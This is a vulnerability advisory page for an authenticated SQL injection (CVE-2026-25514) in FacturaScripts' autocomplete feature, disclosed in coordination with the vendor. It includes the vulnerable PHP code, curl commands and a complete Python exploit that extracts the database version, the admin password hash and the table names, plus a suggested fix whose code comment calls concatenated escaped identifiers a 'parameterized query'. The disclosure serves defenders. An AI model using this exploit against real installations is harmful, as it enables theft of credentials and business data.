PACKETSTORM 8.8 HIGH

📄 FacturaScripts SQL Injection_PACKETSTORM:218733

8.8 / 10
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Description

FacturaScripts versions prior to 2025.81 suffer from a remote SQL injection vulnerability in the Autocomplete Actions functionality...
Visit Original Source

Basic Information

ID PACKETSTORM:218733
Published Apr 13, 2026 at 00:00

Affected Product

Affected Versions # CVE-2026-25514: FacturaScripts has SQL Injection in Autocomplete Actions

## Overview

| Field | Details |
|---|---|
| **CVE ID** | [CVE-2026-25514](https://nvd.nist.gov/vuln/detail/CVE-2026-25514) |
| **Severity** | HIGH |
| **Advisory** | [View Advisory](https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-pqqg-5f4f-8952) |
| **Discovered by** | [Lukasz Rybak](https://github.com/lukasz-rybak) |

## Affected Products

- **facturascripts/facturascripts** (versions: < 2025.81)


## CWE Classification

- CWE-20: Improper Input Validation
- CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
- CWE-943: Improper Neutralization of Special Elements in Data Query Logic

## Details

### Summary
**FacturaScripts contains a critical SQL injection vulnerability in the autocomplete functionality** that allows authenticated attackers to extract sensitive data from the database including user credentials, configuration settings, and all stored business data. The vulnerability exists in the `CodeModel::all()` method where user-supplied parameters are directly concatenated into SQL queries without sanitization or parameterized binding.

---

### Details

Multiple controllers in FacturaScripts, including `CopyModel`, `ListController`, and `PanelController`, implement an autocomplete action that processes user input through the `CodeModel::search()` or `CodeModel::all()` methods. These methods construct SQL queries by directly concatenating user-controlled parameters without any validation or escaping.

#### Vulnerable Code Location

**File:** `/Core/Model/CodeModel.php`
**Method:** `all()`
**Lines:** 108-109

```php
public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array
{
// ......

// VULNERABLE CODE:
$sql = 'SELECT DISTINCT ' . $fieldCode . ' AS code, ' . $fieldDescription . ' AS description '
. 'FROM ' . $tableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';
foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) {
$result[] = new static($row);
}

return $result;
}
```

#### Vulnerable Parameters

The following parameters are vulnerable to SQL injection:

1. **`source`** → Maps to `$tableName` - Table name injection
2. **`fieldcode`** → Maps to `$fieldCode` - Column name injection
3. **`fieldtitle`** → Maps to `$fieldDescription` - Column name injection (Primary attack vector)

#### Attack Flow

1. Attacker authenticates with valid credentials (any user role)
2. Attacker sends POST request to `/CopyModel` with `action=autocomplete`
3. Malicious SQL functions/queries are injected via the `fieldtitle` parameter
4. Application executes the injected SQL and returns results in JSON format
5. Attacker extracts sensitive data from the database

---

### Proof of Concept (PoC)

#### Prerequisites
- Valid authentication credentials (admin/admin in test instance)
- Access to FacturaScripts web interface

#### Step-by-Step Manual Exploitation (CLI)

Since FacturaScripts uses `MultiRequestProtection`, a valid `multireqtoken` is required for every POST request.

**1. Obtain initial token and session cookie:**
FacturaScripts redirects `/` to `/login`, so we use `-L` to follow redirects and `-c` to save the session cookie.
```bash
TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+')
echo $TOKEN
```

**2. Authenticate (Login):**
Use the saved cookie and the token to log in.
```bash
curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \
-d "fsNick=admin" \
-d "fsPassword=admin" \
-d "action=login" \
-d "multireqtoken=$TOKEN"
```

**3. Extract Database Version:**
Obtain a fresh token for the next request and execute the injection.
```bash
# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')

# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
-d "action=autocomplete" \
-d "source=users" \
-d "fieldcode=nick" \
-d "fieldtitle=version()" \
-d "term=admin" \
-d "multireqtoken=$TOKEN"
```

**4. Extract Database User and Name:**
```bash
# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')

# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
-d "action=autocomplete" \
-d "source=users" \
-d "fieldcode=nick" \
-d "fieldtitle=concat(user(),' @ ',database())" \
-d "term=admin" \
-d "multireqtoken=$TOKEN"
```

**5. Extract Admin Password Hash:**
```bash
# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')

# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
-d "action=autocomplete" \
-d "source=users" \
-d "fieldcode=nick" \
-d "fieldtitle=password" \
-d "term=admin" \
-d "multireqtoken=$TOKEN"
```

#### Automated Exploitation Script

```python
#!/usr/bin/env python3
"""
FacturaScripts SQL Injection Exploit - Autocomplete
Author: Łukasz Rybak
"""

import requests
import re
import json

# Configuration
BASE_URL = "http://localhost:8091"
USERNAME = "admin"
PASSWORD = "admin"

session = requests.Session()

def get_csrf_token(url):
"""Extract CSRF token from page"""
response = session.get(url)
match = re.search(r'name="multireqtoken" value="([^"]+)"', response.text)
return match.group(1) if match else None

def login():
"""Authenticate to FacturaScripts"""
print(f"[*] Logging in as {USERNAME}...")
token = get_csrf_token(f"{BASE_URL}/login")
if not token:
print("[!] Failed to get CSRF token")
exit()

data = {
"multireqtoken": token,
"action": "login",
"fsNick": USERNAME,
"fsPassword": PASSWORD
}
response = session.post(f"{BASE_URL}/login", data=data)

if "Dashboard" not in response.text:
print("[!] Login failed!")
exit()
print("[+] Successfully logged in.")

def exploit_sqli(field_payload, term="admin", source="users", field_code="nick"):
"""Execute SQL injection through autocomplete"""
data = {
"action": "autocomplete",
"source": source,
"fieldcode": field_code,
"fieldtitle": field_payload,
"term": term
}
response = session.post(f"{BASE_URL}/CopyModel", data=data)
try:
return response.json()
except:
return None

def main():
login()

print("\n" + "="*60)
print(" EXPLOITING SQL INJECTION IN AUTOCOMPLETE ")
print("="*60 + "\n")

# 1. Database version
print("[*] Extracting database version...")
res = exploit_sqli("version()")
if res:
print(f"[+] Database Version: {res[0]['value']}")

# 2. Current user and database
print("[*] Extracting DB user and database name...")
res = exploit_sqli("concat(user(),' @ ',database())")
if res:
print(f"[+] DB User @ Database: {res[0]['value']}")

# 3. Admin password hash
print("[*] Extracting admin password hash...")
res = exploit_sqli("password", term="admin")
if res:
print(f"[+] Admin Password Hash: {res[0]['value']}")

# 4. All table names
print("[*] Extracting table names...")
res = exploit_sqli("(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())")
if res:
print(f"[+] Tables: {res[0]['value']}")

print("\n[+] Exploitation complete!")

if __name__ == "__main__":
main()
```
<img width="2524" height="410" alt="image" src="https://github.com/user-attachments/assets/19178918-0b83-4b94-a41d-38f33b034f5d" />

---

### Impact

This SQL injection vulnerability has **CRITICAL** impact:

#### Data Confidentiality
- **Complete database disclosure** - Attacker can extract all data including:
- User credentials (password hashes)
- Customer information (names, addresses, tax IDs, etc.)
- Financial records (invoices, payments, bank details)
- Business logic and configuration data
- Plugin and system settings

#### Who is Impacted?
- **All FacturaScripts installations** running vulnerable versions
- **All authenticated users** can exploit (not just admins)
- **Businesses using FacturaScripts** for accounting/invoicing
- **Customers whose data is stored** in the system

---

### Recommended Fix

#### Immediate Remediation

**Option 1: Use Prepared Statements**

```php
// File: Core/Model/CodeModel.php
// Method: all()

public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array
{
// ... validation code ...

// Validate and escape identifiers
$safeTableName = self::db()->escapeColumn($tableName);
$safeFieldCode = self::db()->escapeColumn($fieldCode);
$safeFieldDescription = self::db()->escapeColumn($fieldDescription);

// Use parameterized query
$sql = 'SELECT DISTINCT ' . $safeFieldCode . ' AS code, ' . $safeFieldDescription . ' AS description '
. 'FROM ' . $safeTableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';

foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) {
$result[] = new static($row);
}

return $result;
}
```
### Credits

**Discovered by:** Łukasz Rybak

## References

- https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-pqqg-5f4f-8952
- https://github.com/NeoRazorX/facturascripts/commit/5c070f82665b98efd2f914a4769c6dc9415f5b0f
- https://nvd.nist.gov/vuln/detail/CVE-2026-25514
- https://github.com/advisories/GHSA-pqqg-5f4f-8952


## Disclaimer

This CVE was responsibly disclosed following coordinated vulnerability disclosure practices. The information provided here is for educational and defensive purposes only.

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.